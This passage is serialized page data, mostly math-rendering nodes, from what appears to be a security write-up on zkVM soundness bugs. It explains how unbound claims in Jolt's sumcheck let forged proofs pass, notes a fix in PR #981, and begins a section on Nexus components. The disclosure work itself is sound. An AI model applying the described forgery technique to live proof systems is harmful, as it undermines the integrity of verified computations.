1,"style":3030},[3029],[],{"type":23,"tag":504,"props":114774,"children":114776},{"className":114775},[3035,3036,3037,3038],[114777],{"type":23,"tag":504,"props":114778,"children":114780},{"className":114779},[2988,20569,3038],[114781],{"type":28,"value":2716},{"type":23,"tag":504,"props":114783,"children":114785},{"className":114784},[20726],[114786],{"type":28,"value":20729},{"type":23,"tag":504,"props":114788,"children":114790},{"className":114789},[3015],[114791],{"type":23,"tag":504,"props":114792,"children":114794},{"className":114793,"style":91881},[3020],[114795],{"type":23,"tag":504,"props":114796,"children":114797},{},[],{"type":28,"value":114799},") were not in the transcript, the ",{"type":23,"tag":56,"props":114801,"children":114803},{"className":114802},[2960,2961],[114804],{"type":23,"tag":504,"props":114805,"children":114807},{"className":114806},[2966],[114808],{"type":23,"tag":504,"props":114809,"children":114811},{"className":114810,"ariaHidden":2972},[2971],[114812],{"type":23,"tag":504,"props":114813,"children":114815},{"className":114814},[2977],[114816,114820],{"type":23,"tag":504,"props":114817,"children":114819},{"className":114818,"style":108768},[2982],[],{"type":23,"tag":504,"props":114821,"children":114823},{"className":114822},[2988],[114824,114829],{"type":23,"tag":504,"props":114825,"children":114827},{"className":114826,"style":113886},[2988,20569],[114828],{"type":28,"value":113889},{"type":23,"tag":504,"props":114830,"children":114832},{"className":114831},[3005],[114833],{"type":23,"tag":504,"props":114834,"children":114836},{"className":114835},[3010,20623],[114837,114866],{"type":23,"tag":504,"props":114838,"children":114840},{"className":114839},[3015],[114841,114861],{"type":23,"tag":504,"props":114842,"children":114844},{"className":114843,"style":92327},[3020],[114845],{"type":23,"tag":504,"props":114846,"children":114847},{"style":114521},[114848,114852],{"type":23,"tag":504,"props":114849,"children":114851},{"className":114850,"style":3030},[3029],[],{"type":23,"tag":504,"props":114853,"children":114855},{"className":114854},[3035,3036,3037,3038],[114856],{"type":23,"tag":504,"props":114857,"children":114859},{"className":114858},[2988,20569,3038],[114860],{"type":28,"value":2716},{"type":23,"tag":504,"props":114862,"children":114864},{"className":114863},[20726],[114865],{"type":28,"value":20729},{"type":23,"tag":504,"props":114867,"children":114869},{"className":114868},[3015],[114870],{"type":23,"tag":504,"props":114871,"children":114873},{"className":114872,"style":91881},[3020],[114874],{"type":23,"tag":504,"props":114875,"children":114876},{},[],{"type":28,"value":114878}," values are independent of ",{"type":23,"tag":56,"props":114880,"children":114882},{"className":114881},[2960,2961],[114883],{"type":23,"tag":504,"props":114884,"children":114886},{"className":114885},[2966],[114887],{"type":23,"tag":504,"props":114888,"children":114890},{"className":114889,"ariaHidden":2972},[2971],[114891],{"type":23,"tag":504,"props":114892,"children":114894},{"className":114893},[2977],[114895,114899],{"type":23,"tag":504,"props":114896,"children":114898},{"className":114897,"style":109795},[2982],[],{"type":23,"tag":504,"props":114900,"children":114902},{"className":114901},[2988],[114903,114908],{"type":23,"tag":504,"props":114904,"children":114906},{"className":114905,"style":92032},[2988,20569],[114907],{"type":28,"value":92035},{"type":23,"tag":504,"props":114909,"children":114911},{"className":114910},[3005],[114912],{"type":23,"tag":504,"props":114913,"children":114915},{"className":114914},[3010,20623],[114916,114945],{"type":23,"tag":504,"props":114917,"children":114919},{"className":114918},[3015],[114920,114940],{"type":23,"tag":504,"props":114921,"children":114923},{"className":114922,"style":92327},[3020],[114924],{"type":23,"tag":504,"props":114925,"children":114926},{"style":109227},[114927,114931],{"type":23,"tag":504,"props":114928,"children":114930},{"className":114929,"style":3030},[3029],[],{"type":23,"tag":504,"props":114932,"children":114934},{"className":114933},[3035,3036,3037,3038],[114935],{"type":23,"tag":504,"props":114936,"children":114938},{"className":114937},[2988,20569,3038],[114939],{"type":28,"value":2716},{"type":23,"tag":504,"props":114941,"children":114943},{"className":114942},[20726],[114944],{"type":28,"value":20729},{"type":23,"tag":504,"props":114946,"children":114948},{"className":114947},[3015],[114949],{"type":23,"tag":504,"props":114950,"children":114952},{"className":114951,"style":91881},[3020],[114953],{"type":23,"tag":504,"props":114954,"children":114955},{},[],{"type":28,"value":320},{"type":23,"tag":24,"props":114958,"children":114959},{},[114960],{"type":23,"tag":296,"props":114961,"children":114962},{},[114963],{"type":28,"value":114964},"Why it's linear:",{"type":23,"tag":24,"props":114966,"children":114967},{},[114968,114970],{"type":28,"value":114969},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":56,"props":114971,"children":114973},{"className":114972},[2960,2961],[114974],{"type":23,"tag":504,"props":114975,"children":114977},{"className":114976},[2966],[114978],{"type":23,"tag":504,"props":114979,"children":114981},{"className":114980,"ariaHidden":2972},[2971],[114982],{"type":23,"tag":504,"props":114983,"children":114985},{"className":114984},[2977],[114986,114990],{"type":23,"tag":504,"props":114987,"children":114989},{"className":114988,"style":20564},[2982],[],{"type":23,"tag":504,"props":114991,"children":114993},{"className":114992,"style":92032},[2988,20569],[114994],{"type":28,"value":92035},{"type":23,"tag":24,"props":114996,"children":114997},{},[114998],{"type":23,"tag":56,"props":114999,"children":115001},{"className":115000},[2960,2961],[115002],{"type":23,"tag":504,"props":115003,"children":115005},{"className":115004},[2966],[115006],{"type":23,"tag":504,"props":115007,"children":115009},{"className":115008,"ariaHidden":2972},[2971],[115010,115100,115126,115152],{"type":23,"tag":504,"props":115011,"children":115013},{"className":115012},[2977],[115014,115018,115087,115091,115096],{"type":23,"tag":504,"props":115015,"children":115017},{"className":115016,"style":109795},[2982],[],{"type":23,"tag":504,"props":115019,"children":115021},{"className":115020},[2988],[115022,115028],{"type":23,"tag":504,"props":115023,"children":115025},{"className":115024,"style":21101},[2988,20569],[115026],{"type":28,"value":115027},"C",{"type":23,"tag":504,"props":115029,"children":115031},{"className":115030},[3005],[115032],{"type":23,"tag":504,"props":115033,"children":115035},{"className":115034},[3010,20623],[115036,115076],{"type":23,"tag":504,"props":115037,"children":115039},{"className":115038},[3015],[115040,115071],{"type":23,"tag":504,"props":115041,"children":115044},{"className":115042,"style":115043},[3020],"height:0.3361em;",[115045],{"type":23,"tag":504,"props":115046,"children":115048},{"style":115047},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[115049,115053],{"type":23,"tag":504,"props":115050,"children":115052},{"className":115051,"style":3030},[3029],[],{"type":23,"tag":504,"props":115054,"children":115056},{"className":115055},[3035,3036,3037,3038],[115057],{"type":23,"tag":504,"props":115058,"children":115060},{"className":115059},[2988,3038],[115061],{"type":23,"tag":504,"props":115062,"children":115064},{"className":115063},[2988,28,3038],[115065],{"type":23,"tag":504,"props":115066,"children":115068},{"className":115067},[2988,3038],[115069],{"type":28,"value":115070},"final",{"type":23,"tag":504,"props":115072,"children":115074},{"className":115073},[20726],[115075],{"type":28,"value":20729},{"type":23,"tag":504,"props":115077,"children":115079},{"className":115078},[3015],[115080],{"type":23,"tag":504,"props":115081,"children":115083},{"className":115082,"style":91881},[3020],[115084],{"type":23,"tag":504,"props":115085,"children":115086},{},[],{"type":23,"tag":504,"props":115088,"children":115090},{"className":115089,"style":3167},[3069],[],{"type":23,"tag":504,"props":115092,"children":115094},{"className":115093},[3172],[115095],{"type":28,"value":601},{"type":23,"tag":504,"props":115097,"children":115099},{"className":115098,"style":3167},[3069],[],{"type":23,"tag":504,"props":115101,"children":115103},{"className":115102},[2977],[115104,115108,115113,115117,115122],{"type":23,"tag":504,"props":115105,"children":115107},{"className":115106,"style":113881},[2982],[],{"type":23,"tag":504,"props":115109,"children":115111},{"className":115110},[2988,20569],[115112],{"type":28,"value":92},{"type":23,"tag":504,"props":115114,"children":115116},{"className":115115,"style":3070},[3069],[],{"type":23,"tag":504,"props":115118,"children":115120},{"className":115119},[3075],[115121],{"type":28,"value":110060},{"type":23,"tag":504,"props":115123,"children":115125},{"className":115124,"style":3070},[3069],[],{"type":23,"tag":504,"props":115127,"children":115129},{"className":115128},[2977],[115130,115134,115139,115143,115148],{"type":23,"tag":504,"props":115131,"children":115133},{"className":115132,"style":113910},[2982],[],{"type":23,"tag":504,"props":115135,"children":115137},{"className":115136,"style":92032},[2988,20569],[115138],{"type":28,"value":92035},{"type":23,"tag":504,"props":115140,"children":115142},{"className":115141,"style":3070},[3069],[],{"type":23,"tag":504,"props":115144,"children":115146},{"className":115145},[3075],[115147],{"type":28,"value":1642},{"type":23,"tag":504,"props":115149,"children":115151},{"className":115150,"style":3070},[3069],[],{"type":23,"tag":504,"props":115153,"children":115155},{"className":115154},[2977],[115156,115160],{"type":23,"tag":504,"props":115157,"children":115159},{"className":115158,"style":91713},[2982],[],{"type":23,"tag":504,"props":115161,"children":115163},{"className":115162},[2988,20569],[115164],{"type":28,"value":2200},{"type":23,"tag":24,"props":115166,"children":115167},{},[115168,115169,115208,115210,115235,115237,115367,115369,115490],{"type":28,"value":114634},{"type":23,"tag":56,"props":115170,"children":115172},{"className":115171},[2960,2961],[115173],{"type":23,"tag":504,"props":115174,"children":115176},{"className":115175},[2966],[115177],{"type":23,"tag":504,"props":115178,"children":115180},{"className":115179,"ariaHidden":2972},[2971],[115181],{"type":23,"tag":504,"props":115182,"children":115184},{"className":115183},[2977],[115185,115189,115194,115199,115203],{"type":23,"tag":504,"props":115186,"children":115188},{"className":115187,"style":113853},[2982],[],{"type":23,"tag":504,"props":115190,"children":115192},{"className":115191},[2988,20569],[115193],{"type":28,"value":92},{"type":23,"tag":504,"props":115195,"children":115197},{"className":115196},[3101],[115198],{"type":28,"value":3104},{"type":23,"tag":504,"props":115200,"children":115202},{"className":115201,"style":3108},[3069],[],{"type":23,"tag":504,"props":115204,"children":115206},{"className":115205},[2988,20569],[115207],{"type":28,"value":2200},{"type":28,"value":115209}," are determined by the transcript (independent of ",{"type":23,"tag":56,"props":115211,"children":115213},{"className":115212},[2960,2961],[115214],{"type":23,"tag":504,"props":115215,"children":115217},{"className":115216},[2966],[115218],{"type":23,"tag":504,"props":115219,"children":115221},{"className":115220,"ariaHidden":2972},[2971],[115222],{"type":23,"tag":504,"props":115223,"children":115225},{"className":115224},[2977],[115226,115230],{"type":23,"tag":504,"props":115227,"children":115229},{"className":115228,"style":20564},[2982],[],{"type":23,"tag":504,"props":115231,"children":115233},{"className":115232,"style":92032},[2988,20569],[115234],{"type":28,"value":92035},{"type":28,"value":115236},"). The verifier checks that ",{"type":23,"tag":56,"props":115238,"children":115240},{"className":115239},[2960,2961],[115241],{"type":23,"tag":504,"props":115242,"children":115244},{"className":115243},[2966],[115245],{"type":23,"tag":504,"props":115246,"children":115248},{"className":115247,"ariaHidden":2972},[2971],[115249,115335],{"type":23,"tag":504,"props":115250,"children":115252},{"className":115251},[2977],[115253,115257,115322,115326,115331],{"type":23,"tag":504,"props":115254,"children":115256},{"className":115255,"style":109795},[2982],[],{"type":23,"tag":504,"props":115258,"children":115260},{"className":115259},[2988],[115261,115266],{"type":23,"tag":504,"props":115262,"children":115264},{"className":115263,"style":21101},[2988,20569],[115265],{"type":28,"value":115027},{"type":23,"tag":504,"props":115267,"children":115269},{"className":115268},[3005],[115270],{"type":23,"tag":504,"props":115271,"children":115273},{"className":115272},[3010,20623],[115274,115311],{"type":23,"tag":504,"props":115275,"children":115277},{"className":115276},[3015],[115278,115306],{"type":23,"tag":504,"props":115279,"children":115281},{"className":115280,"style":115043},[3020],[115282],{"type":23,"tag":504,"props":115283,"children":115284},{"style":115047},[115285,115289],{"type":23,"tag":504,"props":115286,"children":115288},{"className":115287,"style":3030},[3029],[],{"type":23,"tag":504,"props":115290,"children":115292},{"className":115291},[3035,3036,3037,3038],[115293],{"type":23,"tag":504,"props":115294,"children":115296},{"className":115295},[2988,3038],[115297],{"type":23,"tag":504,"props":115298,"children":115300},{"className":115299},[2988,28,3038],[115301],{"type":23,"tag":504,"props":115302,"children":115304},{"className":115303},[2988,3038],[115305],{"type":28,"value":115070},{"type":23,"tag":504,"props":115307,"children":115309},{"className":115308},[20726],[115310],{"type":28,"value":20729},{"type":23,"tag":504,"props":115312,"children":115314},{"className":115313},[3015],[115315],{"type":23,"tag":504,"props":115316,"children":115318},{"className":115317,"style":91881},[3020],[115319],{"type":23,"tag":504,"props":115320,"children":115321},{},[],{"type":23,"tag":504,"props":115323,"children":115325},{"className":115324,"style":3167},[3069],[],{"type":23,"tag":504,"props":115327,"children":115329},{"className":115328},[3172],[115330],{"type":28,"value":601},{"type":23,"tag":504,"props":115332,"children":115334},{"className":115333,"style":3167},[3069],[],{"type":23,"tag":504,"props":115336,"children":115338},{"className":115337},[2977],[115339,115343,115353,115358],{"type":23,"tag":504,"props":115340,"children":115342},{"className":115341,"style":93211},[2982],[],{"type":23,"tag":504,"props":115344,"children":115346},{"className":115345},[2988,28],[115347],{"type":23,"tag":504,"props":115348,"children":115350},{"className":115349},[2988],[115351],{"type":28,"value":115352},"expected",{"type":23,"tag":504,"props":115354,"children":115356},{"className":115355,"style":91798},[2988],[115357],{"type":28,"value":2059},{"type":23,"tag":504,"props":115359,"children":115361},{"className":115360},[2988,28],[115362],{"type":23,"tag":504,"props":115363,"children":115365},{"className":115364},[2988],[115366],{"type":28,"value":36524},{"type":28,"value":115368}," (from PCS opening), this becomes ",{"type":23,"tag":56,"props":115370,"children":115372},{"className":115371},[2960,2961],[115373],{"type":23,"tag":504,"props":115374,"children":115376},{"className":115375},[2966],[115377],{"type":23,"tag":504,"props":115378,"children":115380},{"className":115379,"ariaHidden":2972},[2971],[115381,115407,115433,115459],{"type":23,"tag":504,"props":115382,"children":115384},{"className":115383},[2977],[115385,115389,115394,115398,115403],{"type":23,"tag":504,"props":115386,"children":115388},{"className":115387,"style":113881},[2982],[],{"type":23,"tag":504,"props":115390,"children":115392},{"className":115391},[2988,20569],[115393],{"type":28,"value":92},{"type":23,"tag":504,"props":115395,"children":115397},{"className":115396,"style":3070},[3069],[],{"type":23,"tag":504,"props":115399,"children":115401},{"className":115400},[3075],[115402],{"type":28,"value":110060},{"type":23,"tag":504,"props":115404,"children":115406},{"className":115405,"style":3070},[3069],[],{"type":23,"tag":504,"props":115408,"children":115410},{"className":115409},[2977],[115411,115415,115420,115424,115429],{"type":23,"tag":504,"props":115412,"children":115414},{"className":115413,"style":113910},[2982],[],{"type":23,"tag":504,"props":115416,"children":115418},{"className":115417,"style":92032},[2988,20569],[115419],{"type":28,"value":92035},{"type":23,"tag":504,"props":115421,"children":115423},{"className":115422,"style":3070},[3069],[],{"type":23,"tag":504,"props":115425,"children":115427},{"className":115426},[3075],[115428],{"type":28,"value":1642},{"type":23,"tag":504,"props":115430,"children":115432},{"className":115431,"style":3070},[3069],[],{"type":23,"tag":504,"props":115434,"children":115436},{"className":115435},[2977],[115437,115441,115446,115450,115455],{"type":23,"tag":504,"props":115438,"children":115440},{"className":115439,"style":91713},[2982],[],{"type":23,"tag":504,"props":115442,"children":115444},{"className":115443},[2988,20569],[115445],{"type":28,"value":2200},{"type":23,"tag":504,"props":115447,"children":115449},{"className":115448,"style":3167},[3069],[],{"type":23,"tag":504,"props":115451,"children":115453},{"className":115452},[3172],[115454],{"type":28,"value":601},{"type":23,"tag":504,"props":115456,"children":115458},{"className":115457,"style":3167},[3069],[],{"type":23,"tag":504,"props":115460,"children":115462},{"className":115461},[2977],[115463,115467,115476,115481],{"type":23,"tag":504,"props":115464,"children":115466},{"className":115465,"style":93211},[2982],[],{"type":23,"tag":504,"props":115468,"children":115470},{"className":115469},[2988,28],[115471],{"type":23,"tag":504,"props":115472,"children":115474},{"className":115473},[2988],[115475],{"type":28,"value":115352},{"type":23,"tag":504,"props":115477,"children":115479},{"className":115478,"style":91798},[2988],[115480],{"type":28,"value":2059},{"type":23,"tag":504,"props":115482,"children":115484},{"className":115483},[2988,28],[115485],{"type":23,"tag":504,"props":115486,"children":115488},{"className":115487},[2988],[115489],{"type":28,"value":36524},{"type":28,"value":320},{"type":23,"tag":24,"props":115492,"children":115493},{},[115494],{"type":28,"value":115495},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":23,"tag":24,"props":115497,"children":115498},{},[115499],{"type":28,"value":115500},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":23,"tag":24,"props":115502,"children":115503},{},[115504,115509,115511],{"type":23,"tag":296,"props":115505,"children":115506},{},[115507],{"type":28,"value":115508},"Status:",{"type":28,"value":115510}," Fixed on October 3, 2025 via ",{"type":23,"tag":92,"props":115512,"children":115515},{"href":115513,"rel":115514},"https://github.com/a16z/jolt/pull/981",[96],[115516],{"type":28,"value":115517},"PR #981",{"type":23,"tag":17774,"props":115519,"children":115520},{},[],{"type":23,"tag":82,"props":115522,"children":115524},{"id":115523},"nexus",[115525],{"type":28,"value":106617},{"type":23,"tag":24,"props":115527,"children":115528},{},[115529],{"type":28,"value":115530},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":23,"tag":24,"props":115532,"children":115533},{},[115534,115536,115541],{"type":28,"value":115535},"Nexus splits verification into ",{"type":23,"tag":296,"props":115537,"children":115538},{},[115539],{"type":28,"value":115540},"components",{"type":28,"value":115542}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":23,"tag":24,"props":115544,"children":115545},{},[115546,115548,115553],{"type":28,"value":115547},"Each component emits and consumes lookup tuples. The component's ",{"type":23,"tag":56,"props":115549,"children":115551},{"className":115550},[],[115552],{"type":28,"value":113662},{"type":28,"value":115554}," summarizes its net contribution:",{"type":23,"tag":24,"props":115556,"children":115557},{},[115558],{"type":23,"tag":56,"props":115559,"children":115561},{"className":115560},[2960,2961],[115562],{"type":23,"tag":504,"props":115563,"children":115565},{"className":115564},[2966],[115566],{"type":23,"tag":504,"props":115567,"children":115569},{"className":115568,"ariaHidden":2972},[2971],[115570,115666,115915],{"type":23,"tag":504,"props":115571,"children":115573},{"className":115572},[2977],[115574,115578,115587,115592,115653,115657,115662],{"type":23,"tag":504,"props":115575,"children":115577},{"className":115576,"style":93211},[2982],[],{"type":23,"tag":504,"props":115579,"children":115581},{"className":115580},[2988,28],[115582],{"type":23,"tag":504,"props":115583,"children":115585},{"className":115584},[2988],[115586],{"type":28,"value":112891},{"type":23,"tag":504,"props":115588,"children":115590},{"className":115589,"style":91798},[2988],[115591],{"type":28,"value":2059},{"type":23,"tag":504,"props":115593,"children":115595},{"className":115594},[2988],[115596,115605],{"type":23,"tag":504,"props":115597,"children":115599},{"className":115598},[2988,28],[115600],{"type":23,"tag":504,"props":115601,"children":115603},{"className":115602},[2988],[115604],{"type":28,"value":75383},{"type":23,"tag":504,"props":115606,"children":115608},{"className":115607},[3005],[115609],{"type":23,"tag":504,"props":115610,"children":115612},{"className":115611},[3010,20623],[115613,115642],{"type":23,"tag":504,"props":115614,"children":115616},{"className":115615},[3015],[115617,115637],{"type":23,"tag":504,"props":115618,"children":115620},{"className":115619,"style":92327},[3020],[115621],{"type":23,"tag":504,"props":115622,"children":115623},{"style":112928},[115624,115628],{"type":23,"tag":504,"props":115625,"children":115627},{"className":115626,"style":3030},[3029],[],{"type":23,"tag":504,"props":115629,"children":115631},{"className":115630},[3035,3036,3037,3038],[115632],{"type":23,"tag":504,"props":115633,"children":115635},{"className":115634},[2988,20569,3038],[115636],{"type":28,"value":2716},{"type":23,"tag":504,"props":115638,"children":115640},{"className":115639},[20726],[115641],{"type":28,"value":20729},{"type":23,"tag":504,"props":115643,"children":115645},{"className":115644},[3015],[115646],{"type":23,"tag":504,"props":115647,"children":115649},{"className":115648,"style":91881},[3020],[115650],{"type":23,"tag":504,"props":115651,"children":115652},{},[],{"type":23,"tag":504,"props":115654,"children":115656},{"className":115655,"style":3167},[3069],[],{"type":23,"tag":504,"props":115658,"children":115660},{"className":115659},[3172],[115661],{"type":28,"value":601},{"type":23,"tag":504,"props":115663,"children":115665},{"className":115664,"style":3167},[3069],[],{"type":23,"tag":504,"props":115667,"children":115669},{"className":115668},[2977],[115670,115675,115732,115736,115902,115906,115911],{"type":23,"tag":504,"props":115671,"children":115674},{"className":115672,"style":115673},[2982],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":504,"props":115676,"children":115678},{"className":115677},[20605],[115679,115684],{"type":23,"tag":504,"props":115680,"children":115682},{"className":115681,"style":20612},[20605,20610,20611],[115683],{"type":28,"value":107593},{"type":23,"tag":504,"props":115685,"children":115687},{"className":115686},[3005],[115688],{"type":23,"tag":504,"props":115689,"children":115691},{"className":115690},[3010,20623],[115692,115721],{"type":23,"tag":504,"props":115693,"children":115695},{"className":115694},[3015],[115696,115716],{"type":23,"tag":504,"props":115697,"children":115699},{"className":115698,"style":113005},[3020],[115700],{"type":23,"tag":504,"props":115701,"children":115702},{"style":20636},[115703,115707],{"type":23,"tag":504,"props":115704,"children":115706},{"className":115705,"style":3030},[3029],[],{"type":23,"tag":504,"props":115708,"children":115710},{"className":115709},[3035,3036,3037,3038],[115711],{"type":23,"tag":504,"props":115712,"children":115714},{"className":115713,"style":113021},[2988,20569,3038],[115715],{"type":28,"value":7640},{"type":23,"tag":504,"props":115717,"children":115719},{"className":115718},[20726],[115720],{"type":28,"value":20729},{"type":23,"tag":504,"props":115722,"children":115724},{"className":115723},[3015],[115725],{"type":23,"tag":504,"props":115726,"children":115728},{"className":115727,"style":113036},[3020],[115729],{"type":23,"tag":504,"props":115730,"children":115731},{},[],{"type":23,"tag":504,"props":115733,"children":115735},{"className":115734,"style":3108},[3069],[],{"type":23,"tag":504,"props":115737,"children":115739},{"className":115738},[2988],[115740,115744,115898],{"type":23,"tag":504,"props":115741,"children":115743},{"className":115742},[20698,112316],[],{"type":23,"tag":504,"props":115745,"children":115747},{"className":115746},[112321],[115748],{"type":23,"tag":504,"props":115749,"children":115751},{"className":115750},[3010,20623],[115752,115886],{"type":23,"tag":504,"props":115753,"children":115755},{"className":115754},[3015],[115756,115881],{"type":23,"tag":504,"props":115757,"children":115759},{"className":115758,"style":112334},[3020],[115760,115850,115861],{"type":23,"tag":504,"props":115761,"children":115762},{"style":112338},[115763,115767],{"type":23,"tag":504,"props":115764,"children":115766},{"className":115765,"style":110969},[3029],[],{"type":23,"tag":504,"props":115768,"children":115770},{"className":115769},[3035,3036,3037,3038],[115771],{"type":23,"tag":504,"props":115772,"children":115774},{"className":115773},[2988,3038],[115775,115780,115785],{"type":23,"tag":504,"props":115776,"children":115778},{"className":115777,"style":112355},[2988,20569,3038],[115779],{"type":28,"value":112358},{"type":23,"tag":504,"props":115781,"children":115783},{"className":115782},[3075,3038],[115784],{"type":28,"value":3049},{"type":23,"tag":504,"props":115786,"children":115788},{"className":115787},[2988,3038],[115789,115799],{"type":23,"tag":504,"props":115790,"children":115792},{"className":115791},[2988,28,3038],[115793],{"type":23,"tag":504,"props":115794,"children":115796},{"className":115795},[2988,3038],[115797],{"type":28,"value":115798},"produced",{"type":23,"tag":504,"props":115800,"children":115802},{"className":115801},[3005],[115803],{"type":23,"tag":504,"props":115804,"children":115806},{"className":115805},[3010,20623],[115807,115838],{"type":23,"tag":504,"props":115808,"children":115810},{"className":115809},[3015],[115811,115833],{"type":23,"tag":504,"props":115812,"children":115815},{"className":115813,"style":115814},[3020],"height:0.2052em;",[115816],{"type":23,"tag":504,"props":115817,"children":115819},{"style":115818},"top:-2.2341em;margin-right:0.0714em;",[115820,115824],{"type":23,"tag":504,"props":115821,"children":115823},{"className":115822,"style":107658},[3029],[],{"type":23,"tag":504,"props":115825,"children":115827},{"className":115826},[3035,107663,107664,3038],[115828],{"type":23,"tag":504,"props":115829,"children":115831},{"className":115830,"style":113021},[2988,20569,3038],[115832],{"type":28,"value":7640},{"type":23,"tag":504,"props":115834,"children":115836},{"className":115835},[20726],[115837],{"type":28,"value":20729},{"type":23,"tag":504,"props":115839,"children":115841},{"className":115840},[3015],[115842],{"type":23,"tag":504,"props":115843,"children":115846},{"className":115844,"style":115845},[3020],"height:0.4048em;",[115847],{"type":23,"tag":504,"props":115848,"children":115849},{},[],{"type":23,"tag":504,"props":115851,"children":115852},{"style":112371},[115853,115857],{"type":23,"tag":504,"props":115854,"children":115856},{"className":115855,"style":110969},[3029],[],{"type":23,"tag":504,"props":115858,"children":115860},{"className":115859,"style":112381},[112380],[],{"type":23,"tag":504,"props":115862,"children":115863},{"style":112385},[115864,115868],{"type":23,"tag":504,"props":115865,"children":115867},{"className":115866,"style":110969},[3029],[],{"type":23,"tag":504,"props":115869,"children":115871},{"className":115870},[3035,3036,3037,3038],[115872],{"type":23,"tag":504,"props":115873,"children":115875},{"className":115874},[2988,3038],[115876],{"type":23,"tag":504,"props":115877,"children":115879},{"className":115878},[2988,3038],[115880],{"type":28,"value":2991},{"type":23,"tag":504,"props":115882,"children":115884},{"className":115883},[20726],[115885],{"type":28,"value":20729},{"type":23,"tag":504,"props":115887,"children":115889},{"className":115888},[3015],[115890],{"type":23,"tag":504,"props":115891,"children":115894},{"className":115892,"style":115893},[3020],"height:0.6283em;",[115895],{"type":23,"tag":504,"props":115896,"children":115897},{},[],{"type":23,"tag":504,"props":115899,"children":115901},{"className":115900},[20720,112316],[],{"type":23,"tag":504,"props":115903,"children":115905},{"className":115904,"style":3070},[3069],[],{"type":23,"tag":504,"props":115907,"children":115909},{"className":115908},[3075],[115910],{"type":28,"value":3049},{"type":23,"tag":504,"props":115912,"children":115914},{"className":115913,"style":3070},[3069],[],{"type":23,"tag":504,"props":115916,"children":115918},{"className":115917},[2977],[115919,115923,115980,115984],{"type":23,"tag":504,"props":115920,"children":115922},{"className":115921,"style":113230},[2982],[],{"type":23,"tag":504,"props":115924,"children":115926},{"className":115925},[20605],[115927,115932],{"type":23,"tag":504,"props":115928,"children":115930},{"className":115929,"style":20612},[20605,20610,20611],[115931],{"type":28,"value":107593},{"type":23,"tag":504,"props":115933,"children":115935},{"className":115934},[3005],[115936],{"type":23,"tag":504,"props":115937,"children":115939},{"className":115938},[3010,20623],[115940,115969],{"type":23,"tag":504,"props":115941,"children":115943},{"className":115942},[3015],[115944,115964],{"type":23,"tag":504,"props":115945,"children":115947},{"className":115946,"style":112470},[3020],[115948],{"type":23,"tag":504,"props":115949,"children":115950},{"style":20636},[115951,115955],{"type":23,"tag":504,"props":115952,"children":115954},{"className":115953,"style":3030},[3029],[],{"type":23,"tag":504,"props":115956,"children":115958},{"className":115957},[3035,3036,3037,3038],[115959],{"type":23,"tag":504,"props":115960,"children":115962},{"className":115961,"style":93227},[2988,20569,3038],[115963],{"type":28,"value":87435},{"type":23,"tag":504,"props":115965,"children":115967},{"className":115966},[20726],[115968],{"type":28,"value":20729},{"type":23,"tag":504,"props":115970,"children":115972},{"className":115971},[3015],[115973],{"type":23,"tag":504,"props":115974,"children":115976},{"className":115975,"style":113285},[3020],[115977],{"type":23,"tag":504,"props":115978,"children":115979},{},[],{"type":23,"tag":504,"props":115981,"children":115983},{"className":115982,"style":3108},[3069],[],{"type":23,"tag":504,"props":115985,"children":115987},{"className":115986},[2988],[115988,115992,116142],{"type":23,"tag":504,"props":115989,"children":115991},{"className":115990},[20698,112316],[],{"type":23,"tag":504,"props":115993,"children":115995},{"className":115994},[112321],[115996],{"type":23,"tag":504,"props":115997,"children":115999},{"className":115998},[3010,20623],[116000,116131],{"type":23,"tag":504,"props":116001,"children":116003},{"className":116002},[3015],[116004,116126],{"type":23,"tag":504,"props":116005,"children":116007},{"className":116006,"style":112334},[3020],[116008,116095,116106],{"type":23,"tag":504,"props":116009,"children":116010},{"style":112338},[116011,116015],{"type":23,"tag":504,"props":116012,"children":116014},{"className":116013,"style":110969},[3029],[],{"type":23,"tag":504,"props":116016,"children":116018},{"className":116017},[3035,3036,3037,3038],[116019],{"type":23,"tag":504,"props":116020,"children":116022},{"className":116021},[2988,3038],[116023,116028,116033],{"type":23,"tag":504,"props":116024,"children":116026},{"className":116025,"style":112355},[2988,20569,3038],[116027],{"type":28,"value":112358},{"type":23,"tag":504,"props":116029,"children":116031},{"className":116030},[3075,3038],[116032],{"type":28,"value":3049},{"type":23,"tag":504,"props":116034,"children":116036},{"className":116035},[2988,3038],[116037,116047],{"type":23,"tag":504,"props":116038,"children":116040},{"className":116039},[2988,28,3038],[116041],{"type":23,"tag":504,"props":116042,"children":116044},{"className":116043},[2988,3038],[116045],{"type":28,"value":116046},"consumed",{"type":23,"tag":504,"props":116048,"children":116050},{"className":116049},[3005],[116051],{"type":23,"tag":504,"props":116052,"children":116054},{"className":116053},[3010,20623],[116055,116084],{"type":23,"tag":504,"props":116056,"children":116058},{"className":116057},[3015],[116059,116079],{"type":23,"tag":504,"props":116060,"children":116062},{"className":116061,"style":111130},[3020],[116063],{"type":23,"tag":504,"props":116064,"children":116065},{"style":113375},[116066,116070],{"type":23,"tag":504,"props":116067,"children":116069},{"className":116068,"style":107658},[3029],[],{"type":23,"tag":504,"props":116071,"children":116073},{"className":116072},[3035,107663,107664,3038],[116074],{"type":23,"tag":504,"props":116075,"children":116077},{"className":116076,"style":93227},[2988,20569,3038],[116078],{"type":28,"value":87435},{"type":23,"tag":504,"props":116080,"children":116082},{"className":116081},[20726],[116083],{"type":28,"value":20729},{"type":23,"tag":504,"props":116085,"children":116087},{"className":116086},[3015],[116088],{"type":23,"tag":504,"props":116089,"children":116091},{"className":116090,"style":113402},[3020],[116092],{"type":23,"tag":504,"props":116093,"children":116094},{},[],{"type":23,"tag":504,"props":116096,"children":116097},{"style":112371},[116098,116102],{"type":23,"tag":504,"props":116099,"children":116101},{"className":116100,"style":110969},[3029],[],{"type":23,"tag":504,"props":116103,"children":116105},{"className":116104,"style":112381},[112380],[],{"type":23,"tag":504,"props":116107,"children":116108},{"style":112385},[116109,116113],{"type":23,"tag":504,"props":116110,"children":116112},{"className":116111,"style":110969},[3029],[],{"type":23,"tag":504,"props":116114,"children":116116},{"className":116115},[3035,3036,3037,3038],[116117],{"type":23,"tag":504,"props":116118,"c